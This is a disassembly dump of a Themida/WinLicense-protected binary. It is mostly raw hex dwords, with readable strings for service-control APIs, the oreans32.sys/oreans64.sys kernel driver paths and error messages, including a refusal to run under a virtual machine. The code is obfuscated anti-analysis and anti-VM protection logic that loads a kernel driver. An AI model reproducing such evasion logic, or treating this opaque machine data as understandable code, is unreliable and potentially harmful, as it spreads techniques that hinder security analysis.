74726Ch, 7369642Fh dd 732F0031h, 69776F68h, 6174736Eh, 65636Eh, 7465672Fh dd 74736C77h, 73757461h, 6F6C2F00h, 61747367h, 737574h dd 6D75642Fh, 61747370h, 737574h, 0 aCheckprotectio db '/checkprotection',0 align 4 dd 0DBD8300h, 617EFh, 0A840Fh, 85C70000h, 61503ADh, 1 dd 9C585C6h, 68470615h, 4A0D98A6h, 0E7240481h, 0FF465FD3h dd 151685B5h, 38858D06h, 0FF06153Bh, 8BD0FFD0h, 223F80F8h dd 22850Fh, 0B0470000h, 850FAE22h, 0FFFFFFF9h, 0F003F80h dd 31B84h, 3F804700h, 11840F00h, 0E9000003h, 1Eh, 0F003F80h dd 30384h, 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h dd 3F80FFFFh, 5850F00h, 0E9000000h, 2E0h, 1E9h, 3F804700h dd 0F6840F20h, 80FFFFFFh, 850F003Fh, 5, 2C3E9h, 0AE800h dd 0CBE90000h, 0E9FFFFFFh, 2B4h, 0EE8DB58Dh, 25E80617h dd 3000002h, 17EF22BDh, 22BD8306h, 617EFh, 0B840Fh, 85C70000h dd 61508F5h, 1, 98B58DC3h, 0E80617EEh, 1FCh, 0EF22BD03h dd 0BD830617h, 617EF22h, 0B840F00h, 0C7000000h, 1503AD85h dd 106h, 0B58DC300h, 617EF11h, 1D3E8h, 22BD0300h, 830617EFh dd 17EF22BDh, 840F0006h, 0Bh, 2E9D85C7h, 10615h, 8DC30000h dd 17EEA2B5h, 1AAE806h, 0BD030000h, 617EF22h, 0EF22BD83h dd 0F000617h, 0B84h, 0AD85C700h, 1061503h, 0C3000000h dd 0EEACB58Dh, 81E80617h, 3000001h, 17EF22BDh, 22BD8306h dd 617EFh, 15840Fh, 85C70000h, 61503ADh, 1, 8F585C7h, 10615h dd 8DC30000h, 17EEBAB5h, 14EE806h, 0BD030000h, 617EF22h dd 0EF22BD83h, 0F000617h, 0A84h, 0F185C700h, 106152Fh dd 8D000000h, 17EEC4B5h, 126E806h, 0BD030000h, 617EF22h dd 0EF22BD83h, 0F000617h, 0A84h, 0F185C700h, 106152Fh dd 8D000000h, 17EECFB5h, 0FEE806h, 0BD030000h, 617EF22h dd 0EF22BD83h, 0F000617h, 0A84h, 0A985C700h, 106152Fh dd 8D000000h, 17EED5B5h, 0D6E806h, 0BD030000h, 617EF22h dd 0EF22BD83h, 0F000617h, 0A84h, 0E985C700h, 1061525h dd 8D000000h, 17EEDBB5h, 0AEE806h, 0BD030000h, 617EF22h dd 0EF22BD83h, 0F000617h, 0A84h, 3985C700h, 1061524h, 8D000000h dd 17EEE9B5h, 86E806h, 0BD030000h, 617EF22h, 0EF22BD83h dd 0F000617h, 0A84h, 5185C700h, 1061513h, 8D000000h, 17EEF6B5h dd 5EE806h, 0BD030000h, 617EF22h, 0EF22BD83h, 0F000617h dd 0A84h, 1585C700h, 106151Eh, 8D000000h, 17EF01B5h, 36E806h dd 0BD030000h, 617EF22h, 0EF22BD83h, 0F000617h, 0A84h dd 8585C700h, 1061510h, 0E9000000h, 1, 203F8047h, 9840Fh dd 3F800000h, 0ED850F00h, 0C3FFFFFFh, 1B960h, 0DE8B0000h dd 1CE9h, 3F8000h, 5850Fh, 0B90000h, 8A000000h, 0F163817h dd 284h, 46C92B00h, 3E8047h, 8840Fh, 0C90B0000h, 0FFD3850Fh dd 0C90BFFFFh, 21840Fh, 3F800000h, 9840F00h, 80000000h dd 850F203Fh, 0Ah, 1B9h, 5E900h, 0B90000h, 0B000000h, 0D840FC9h dd 2B000000h, 22B589F3h, 0E90617EFh, 0Ah, 0EF2285C7h, 617h dd 0C3610000h, 0B8h, 0FC00B00h, 0A84h, 0F185C700h, 6152Fh dd 8B000000h, 10B7E9C8h, 44410000h, 49504156h, 442E3233h dd 4F004C4Ch, 536E6570h, 6E614D43h, 72656761h, 72430041h dd 65746165h, 76726553h, 41656369h, 61745300h, 65537472h dd 63697672h, 47004165h, 614E7465h, 65766974h, 74737953h dd 6E496D65h, 4F006F66h, 536E6570h, 69767265h, 416563h dd 656C6544h, 65536574h, 63697672h, 6C430065h, 5365736Fh dd 69767265h, 61486563h, 656C646Eh, 6E6F4300h, 6C6F7274h dd 76726553h, 656369h, 8 dup(0) aOreans32_sys db 'oreans32.sys',0 align 10h dd 0 dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0 dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0) aSystemroot db 'SYSTEMROOT',0 aSSystem32Drive db '%s\system32\drivers\%s',0 aSSyswow64Drive db '%s\syswow64\drivers\%s',0 aSSystem32Dri_0 db '%s\system32\drivers\oreans32.sys',0 align 4 dd 48h dup(0) dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h dd 72676F72h, 2E6D61h, 59h dup(0) dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h dd 20726568h, 676F7270h, 2E6D6172h, 67h dup(0) dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0) dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0) dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0) dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0) dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h dd 65h, 72430000h, 65746165h, 6E657645h, 50412074h, 72452049h dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh dup(0) dd 10000000h, 0 dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0 dd 0F0001h db 8, 4, 0 byte_5A9CF7 db 94h ; DATA XREF: Themida_:00579DE8o ; Themida_:0057C7B0o dd 5000000h, 1000000h, 28000000h, 200000Ah, 53000000h dd 69767265h, 50206563h, 206B6361h, 32h, 1Ch dup(0) dd 53000000h, 7774666Fh, 5C657261h, 656E6957h, 56C48B00h dd 6E9h, 0CA10C00h, 5FC293F1h, 1D098589h, 95B50615h, 8166C08Bh dd 83026ECAh, 1508F5BDh, 9750006h, 3ADBD83h, 74000615h dd 8B535019h, 43DB8C0h, 85890000h, 6151385h, 0AA9E9D8Dh dd 0D3FF0617h, 0BD83585Bh, 61503ADh, 50177400h, 43DB853h dd 85890000h, 6151385h, 0A78D9D8Dh, 0D3FF0617h, 0BD8B585Bh dd 61514D5h, 2D018D89h, 0C08B0615h, 2A99B589h, 0C08B0615h dd 0BD83CF8Bh, 61508F5h, 83097500h, 1503ADBDh, 13740006h dd 0C08B5350h, 0B8h, 409D8D00h, 0FF0617A9h, 83585BD3h dd 1503ADBDh, 11740006h, 0B85350h, 8D000000h, 17A7F19Dh dd 5BD3FF06h, 59BD8B58h, 6A061518h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0CDF5C355h dd 0D10757F4h, 7F933C80h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 8589BEC3h, 61526D1h dd 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 0BD2B22C3h, 6152D71h, 8F5BD83h, 75000615h dd 0ADBD8309h, 61503h, 53501374h, 0B8C08Bh, 8D000000h dd 17A8729Dh, 5BD3FF06h, 0ADBD8358h, 61503h, 53501174h dd 0B8h, 0BF9D8D00h, 0FF0617A7h, 0E8585BD3h, 5, 0C07A279Fh dd 0E58509F6h, 5A061528h, 0A85BD89h, 0BD890615h, 61511E1h dd 0F53C08Bh, 28Ch, 59CF8B00h, 8D8BC08Bh, 6152ED9h, 8F5BD83h dd 75000615h, 0ADBD8309h, 61503h, 53501374h, 0B8C08Bh dd 8D000000h, 17A8D99Dh, 5BD3FF06h, 0ADBD8358h, 61503h dd 53501174h, 0B8h, 0D89D8D00h, 0FF0617A7h, 66585BD3h dd 0D3FBD781h, 1A25BD8Bh, 14E90615h, 0CE000000h, 0D3F14C48h dd 1FCCE47Ah, 676AFE42h, 0B50980A4h, 8B3792C7h, 52006AC0h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0E226968Eh, 917CAD41h, 0C08BD78Bh, 1D850360h, 8106150Dh dd 0FA968EC1h, 0CA8A6125h, 8F5BD83h, 75000615h, 0ADBD8309h dd 61503h, 53501374h, 0B8C08Bh, 8D000000h, 17A80B9Dh, 5BD3FF06h dd 79BD8958h, 81061524h, 0F41E40EFh, 0FE924h, 0B6E90000h dd 90EEF2CBh, 251F2509h, 7AFB655h, 6AC08BB9h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 0B384C351h, 0E9B90F53h, 9, 0E9DF7337h, 0F5806051h, 89C08B60h dd 15023D8Dh, 0F5BD8306h, 61508h, 0BD830975h, 61503ADh dd 50197400h, 0B8C08B53h, 7D0h, 13858589h, 9D8D0615h, 617AA9Eh dd 585BD3FFh, 3ADBD83h, 74000615h, 0B8535017h, 7D0h, 13858589h dd 9D8D0615h, 617A78Dh, 585BD3FFh, 0A9E98166h, 0D2EA8061h dd 8166C08Bh, 0C65D17D7h, 1509C585h, 0CA815306h, 25DABC72h dd 840F60h, 8B000000h, 15019185h, 90686106h, 0E999395Fh dd 14h, 0B2FFE26Ch, 208FAD52h, 0A1B2FCB7h, 0E0B491BAh dd 9F4C2E9Ch, 1685B5FFh, 8B600615h, 85BD89F2h, 61061508h dd 3B38858Dh, 952B0615h, 61518F5h, 0CEB1D0FFh, 2C98589h dd 8B660615h, 0C585C6D6h, 57061509h, 0D8D8D89h, 6680615h dd 81900452h, 0E4CFF9EAh, 85B5FF3Eh, 0F061516h, 858DF9BFh dd 6153B38h, 26C58D89h, 0D0FF0615h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 69C35545h, 840F34F2h, 6, 2C71BD8Bh dd 850F0615h, 6, 26B58D8Bh, 85890615h, 61508BDh, 7AFABA66h dd 198F0Fh, 14E90000h, 0E1000000h, 0E36EB5C6h, 0F2896510h dd 0DECCF514h, 51588380h, 0C61E9FA1h, 1509C585h, 8D8B4306h dd 6153479h, 8121BF66h, 90702868h, 0FFD68BBCh, 151685B5h dd 18D8906h, 81061501h, 0B7BF09D1h, 38858D4Ch, 8B06153Bh dd 151D8195h, 6AD0FF06h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 7C03C355h, 3C7CC2EFh dd 0FFD78166h, 75EE806Ah, 339D8589h, 0C6F50615h, 1509C585h dd 81664C06h, 684F36F7h, 0D9DA1CE9h, 6DF8166h, 85B5FFCEh dd 8B061516h, 150C1195h, 38858D06h, 6606153Bh, 0FF17CAB9h dd 0BFC3BAD0h, 85890B21h, 61507D5h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 40C35040h, 0C585C619h, 46061509h dd 22E59D89h, 14680615h, 0E9BADE06h, 9, 9D84F6E3h, 6D96B73Ah dd 85B5FFB2h, 66061516h, 1EBEF181h, 26F98D8Bh, 858D0615h dd 6153B38h, 0ECC9E981h, 0D0FF4520h, 85897FB6h, 6152629h dd 0C585C6F5h, 47061509h, 6820Fh, 0E1810000h, 718A0FB5h dd 0FB5E268h, 18C0F8Ah, 0F5000000h, 1685B5FFh, 0C88B0615h dd 3B38858Dh, 0BA660615h, 0D0FFA284h, 270DBD29h, 85890615h dd 6150E1Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 75C35040h, 19FC3456h, 0DDA27B97h, 0C585C611h, 47061509h dd 0E6CA8166h, 0B5F368E8h, 852983D0h, 6151575h, 1685B5FFh dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 9C9901C3h, 6B259D51h, 38858D26h, 6006153Bh dd 5A431DBBh, 91BF661Fh, 0D0FF6191h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 8FC35040h, 0C6B6BA66h, 0F2DA8052h dd 0B185895Fh, 6A061504h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0D80FC350h, 7D6EA7ECh dd 80F33C60h, 85C6E2CAh, 61509C5h, 56006A77h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 54D3EBFAh dd 68F9B00Fh, 0F397A8A3h, 11C28166h, 89B5FF1Fh, 0E8061507h dd 0Bh, 0D2B3D5C9h, 0C494F932h, 66A780A2h, 5AD0B4BAh, 5890Fh dd 81660000h, 8D0F6DDFh, 153B3885h, 45858906h, 0FF061511h dd 50006AD0h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 0CAB93B8Ch, 2F298589h, 6A0615h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0CCB58C3h, 5E78AEE3h, 0E2816606h, 85C647FBh, 61509C5h dd 0E58D8B47h, 68061523h, 8728FAF6h, 0FFD38B66h, 151685B5h dd 0EDB53106h, 8D06152Fh, 153B3885h, 45958B06h, 0FF06150Ah dd 0EF8166D0h, 85894537h, 61516DDh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 8C35646h, 8438843h, 0D18B5EB0h dd 2925958Bh, 85C60615h, 61509C5h, 6EFC6843h, 12E9BC8Eh dd 3E000000h, 0C521D995h, 0B9001DE5h, 0D5A73991h, 0D12D5E41h dd 85B5FFEEh, 0E8061516h, 0Dh, 0AC05D86Eh, 0C4B4955Bh dd 0A51B3C2h, 0E2816605h, 8D5F69EEh, 153B3885h, 6AD0FF06h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 0A676C351h, 9DCEDA30h, 89F5F88Bh, 1510F985h dd 10E906h, 30AE0000h, 99A681D2h, 2A10C2FBh, 0AC91C282h dd 0BF0F63C7h, 0C585C6CFh, 45061509h, 1190B966h, 72696968h dd 0C981668Eh, 99B968BBh, 0FF17F8DEh, 151685B5h, 2DB52906h dd 8D061529h, 153B3885h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 45C5C18Bh dd 29B9665Fh, 0FD0FF70h, 8589D2BFh, 6152669h, 7BD18166h dd 0C585C672h, 44061509h, 0FDF18166h, 6468FC16h, 6AB8F2ECh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0CA40C355h, 6EB9F94h, 0E7B96651h, 85B5FFD8h dd 66061516h, 8166FA8Bh, 8D8CABF2h, 153B3885h, 0FFCF8A06h dd 1BD31D0h, 89061521h, 15097D85h, 8FBA6606h, 0C585C655h dd 43061509h, 10CF8166h, 0CD958B0Dh, 68061519h, 0C0764AA7h dd 8F18D8Bh, 0B5FF0615h, 6151685h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 0C6C35545h, 44AFFD0Dh, 5BD092Dh dd 0F061534h, 858DFABFh, 6153B38h, 6D88E281h, 0D0FF5534h dd 1A058D31h, 85890615h, 6150DCDh, 7019D89h, 0BD800615h dd 617FEA5h, 0E4840F00h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 0A91FC350h dd 8B5B589h, 858D0615h, 617FE87h, 0D958D89h, 0AAB20615h dd 9BA6650h, 6A016A67h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 0ED7EC353h, 6AD3B70Fh dd 0EA816600h, 6AFA9Fh, 1CB19D89h, 95FF0615h, 615339Dh dd 0BD8589F8h, 89061503h, 150CC1B5h, 6AFF6A06h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 0AD2FC353h, 9CD5B88Ah, 0A05CEB0Dh, 1DE5958Bh, 0B5FF0615h dd 61503BDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 6EC35141h, 0B2CFC069h, 0CF7F2C02h, 8D8B57FBh, 61528B1h dd 0FFCE8B59h, 1508BD95h, 8BEC8A06h, 0B5950BC0h, 83061512h dd 1508F5BDh, 9750006h, 3ADBD83h, 74000615h, 8B535019h dd 7D1B8C0h, 85890000h, 6151385h, 0AA9E9D8Dh, 0D3FF0617h dd 0BD83585Bh, 61503ADh, 50177400h, 7D1B853h, 85890000h dd 6151385h, 0A78D9D8Dh, 0D3FF0617h, 14E8585Bh, 0DB000000h dd 585FBA6Fh, 7A6F1B2Dh, 0AA6E4A78h, 0F3387A2Fh, 890547BCh dd 1522D985h, 6A5F06h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 0F2B52CC3h, 6AC08Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 387441C3h dd 0C585C65Dh, 47061509h, 81B52960h, 6106150Dh, 0C8F7C168h dd 52006A93h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 0F9DA0D25h, 0FB8BEFACh, 1685B5FFh, 858D0615h dd 6153B38h, 5FE3B556h, 8B50D0FFh, 0FFB70FCBh, 2C8858Dh dd 85090618h, 61503B9h, 9400C7h, 85290000h, 6151041h, 0ABB9C281h dd 895820B3h, 150A6D8Dh, 0A18D8B06h, 8D06150Bh, 1802C8B5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 0F224B2D1h, 8B667AA1h, 0D19D01CAh, 60061506h dd 2489EEBEh, 3C38178h, 611BAEDCh, 6AD0FF56h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 5920C356h, 0B70FAA14h, 9D8956FEh, 6150BF1h, 0C8858D5Ah dd 6A061802h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 7D39C351h, 0BCCE8B11h, 95897790h dd 6152D81h, 6047883h, 16850Fh, 0D68B0000h, 35C85C7h, 10618h dd 950B0000h, 6152A25h, 1329BF66h, 0A19BD83h, 0F000615h dd 5685h, 358D0900h, 0E8061501h, 0Ah, 585E3289h, 0B16EF3E2h dd 9529B7D4h, 6153425h, 5CBD8359h, 61803h, 2D850Fh, 58B90000h dd 0B62E770Fh, 0F5BD83B3h, 61527h, 19840Fh, 952B0000h dd 6151821h, 265DBD0Bh, 85C70615h, 61511C1h, 0 dd 66F8BF0Fh, 0DA80DB8Ch, 4C3F61Bh, 478840Fh, 13E80000h dd 0C4000000h, 764E929Ch, 0FF4786ABh, 0F2692041h, 50F47834h dd 8D0F15F7h, 2, 895AD38Bh, 150141BDh, 0B585C706h, 6152Dh dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 6E96C355h, 0BA91287Eh, 0B2BD8061h dd 617FEh, 3850Fh, 0B70F0000h, 0C585C6CBh, 47061509h, 8668F88Bh dd 66E3E45Bh, 3D23D281h, 0DE5BD8Bh, 0B5FF0615h, 6151685h dd 0A8BCBA66h, 3B38858Dh, 0B5890615h, 6151371h, 0BD8BD0FFh dd 6152965h, 10468h, 1DBD8B00h, 8D06151Ah, 152B499Dh, 0B1952B06h dd 53061533h, 38A0Fh, 0BF0F0000h, 0FD0FFC8h, 68Dh, 0C1B58900h dd 89061508h, 152B3D95h, 49858D06h, 6606152Bh, 0AFF5D181h dd 13E850h, 3E070000h, 5539FFAFh, 3542F4D2h, 0B85F5A70h dd 5132FAD0h, 458D8B5Bh, 5A061534h, 0FE64858Dh, 0EE80617h dd 0C1000000h, 679E226Bh, 3A0CD4D8h, 0F2ABE2E0h, 9D29508Eh dd 6152325h, 66505F59h, 858DCF8Bh, 617F537h, 50D18B66h dd 1019589h, 95FF0615h, 6152F29h, 13810Fh, 0EE90000h, 0E4000000h dd 633CF005h, 6A1DF768h, 0B3DE9184h, 0CC483ADh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0DAC35242h, 0DC42058Eh dd 0F22429Bh, 8068006Ah, 6A000000h, 6A006A03h, 6800h, 858D8000h dd 617F537h, 0F995FF50h, 89061510h, 17FE4785h, 0C585C606h dd 47061509h, 0B15E8768h, 85B5FFC7h, 8D061516h, 153B3885h dd 6AD0FF06h, 47B5FF00h, 0FF0617FEh, 6850FD0h, 81000000h dd 0A7E027D7h, 57006A2Ch, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 83433136h, 66D6BD6Dh dd 2DC1E181h, 37D03Dh, 3E830F00h, 66000000h, 0B5FFD18Bh dd 617FE47h, 11A1BD8Bh, 95FF0615h, 6150DCDh, 8850Fh, 8B510000h dd 15051D8Dh, 0B3E95F06h, 0E8000000h, 0Eh, 1DA51D68h, 0DF8A140h dd 8ADB7C6Fh, 0EA8A9206h, 47B5FF5Ah, 500617FEh, 8398D89h dd 0FF5F0615h, 150DCD95h, 25958906h, 6A061523h, 418D8B00h dd 6A061506h, 0BDBD8B00h, 6A06152Dh, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0E9736FAh dd 8148DB8Ah, 0A8D9BCF7h, 0B9006A4Eh, 1CD3F0ADh, 8B0F006Ah dd 6, 75D9D89h, 6A0615h, 8DD6BF0Fh, 17FE4B85h, 50FA8B06h dd 33999D89h, 95FF0615h, 61510F9h, 8BB1EA80h, 0FFF883D6h dd 117850Fh, 840F0000h, 6, 0A204C281h, 858D7D56h, 617B518h dd 0C820Fh, 8E0F0000h, 6, 0A159501h, 0D0FF0615h, 6AD78Bh dd 58A0Fh, 0A3B90000h, 6A3A8B82h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 520CEC8Fh dd 2CC65677h, 0ABD28166h, 3DDF818Ah, 6A22A8C3h, 8B006A00h dd 151E918Dh, 8B006A06h, 6AD78BCAh, 0DD9D8900h, 8D061506h dd 17FE4B85h, 9D015006h, 6150315h, 10F995FFh, 0E9600615h dd 0Ch, 0A3B6F159h, 0DAD80D83h, 0FE940BE6h, 1675BD8Bh dd 83610615h, 850FFFF8h, 65h, 8D1EC580h, 17F853B5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 8DEF63D1h, 17A3E185h, 0FE806h, 0C85D0000h, 0D6FE16C4h dd 14CAC07Eh, 0BEB81DCDh, 0D7B96629h, 0BD8B5A06h, 6150479h dd 0B529D0FFh, 6152665h, 0F56006Ah, 84h, 95FF5A00h, 6152669h dd 478589F9h, 0E90617FEh, 6, 3FA4349Eh, 6AF9FA9Eh, 3F858D00h dd 0F0617FEh, 586h, 0E7816600h, 66506FD7h, 6A8F68B9h, 0D9BD8B04h dd 8D061507h, 150B8D85h, 3D953106h, 0F06152Ah, 0B8Bh, 85896000h dd 61511A1h, 61F3BF0Fh, 8D0B5150h, 6151D9Dh, 52006A59h dd 6A5FD78Bh, 0D7B70F00h, 0C980016Ah, 0DD8501E7h, 0FF061501h dd 17FE47B5h, 0A8D0F06h, 60000000h, 0E40695BEh, 0F38B661Eh dd 0F8B70F61h, 97D95FFh, 0D78B0615h, 1BE2E9F5h, 0C08B0000h dd 8F5BD83h, 75000615h, 0ADBD8309h, 61503h, 53501974h dd 0D2B8C08Bh, 89000007h, 15138585h, 9E9D8D06h, 0FF0617AAh dd 83585BD3h, 1503ADBDh, 17740006h, 0D2B85350h, 89000007h dd 15138585h, 8D9D8D06h, 0FF0617A7h, 0F585BD3h, 68Eh, 0CD958B00h dd 0E9061527h, 6, 3ABEAB4Eh, 890FA84Ah, 2, 12E92AB2h, 0AF000000h dd 80E25FC4h, 94BDCBE7h, 0C86CFD38h, 0CA8D2A7Dh, 89C08BBFh dd 15189DB5h, 0B585C706h, 106152Dh, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 6A5EC355h, 8169C1C7h, 81CB9293h, 0CFE551EFh, 49BD330Bh dd 68061503h, 0CEE4E7B8h, 1789B5FFh, 858D0615h, 6153B38h dd 8589D0FFh, 615221Dh, 0A3858Dh, 8D500618h, 18036085h dd 1685006h, 0FF800000h, 15221D95h, 75C00B06h, 4185C70Ah dd 106152Ah, 68000000h, 0C005DBD4h, 1789B5FFh, 858D0615h dd 6153B38h, 8589D0FFh, 6152391h, 0F2F0858Dh, 0FF500617h dd 151685B5h, 1D95FF06h, 0B06150Eh, 8B0B74C0h, 0A3858DD8h dd 50061802h, 858DD3FFh, 61802A3h, 9388366h, 85C70A75h dd 615295Dh, 1, 16DD95FFh, 0FF250615h, 83000000h, 0A7305F8h dd 216985C7h, 10615h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 0EE061EC3h, 0EB0F955Ch dd 0E2F680D6h, 4AD9523h, 93B20615h, 0FEB2BD80h, 0F000617h dd 4E84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 0B78FFA97h, 0F5D91D5h, 1689h, 11E900h dd 44820000h, 0DFFF6556h, 0D6E94A85h, 5AC12607h, 83240A96h dd 18035CBDh, 840F0006h, 0Dh, 0E9FE8B66h, 19E4h, 0CFB70F51h dd 5DBD8359h, 61529h, 0DF850Fh, 85010000h, 615002Dh, 0FE7C858Dh dd 0C9810617h, 1DFCA11Ah, 0CBBF0F50h, 8B66016Ah, 0E8006AFEh dd 14h, 96DDD959h, 0F41E8FEBh, 62B2C6Eh, 254E891h, 633D326Eh dd 19850Fh, 14E90000h, 57000000h, 90F3CC98h, 0C100D504h dd 0D51E7EECh, 5649D822h, 5935A8D0h, 95FF006Ah, 615339Dh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0DEC35141h dd 897257B9h, 17FEA685h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 1F06061h, 0C5A5550Ah dd 0FF6A4BA1h, 33B59D89h, 0B5FF0615h, 617FEA6h, 95FF9FB5h dd 61508BDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 0EC35242h, 51BF66B4h, 0B7858D39h, 600617F2h, 61FFB70Fh dd 8E85250h, 1B000000h, 24F01DD5h, 0FB65FB8h, 86h, 0FF5A5F00h dd 1507D595h, 0A1CBA06h, 85892F26h, 617F341h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 98C35242h, 0C06D0CFDh dd 0BF0F25A3h, 0C4858DCEh, 0E90617F2h, 0Ah, 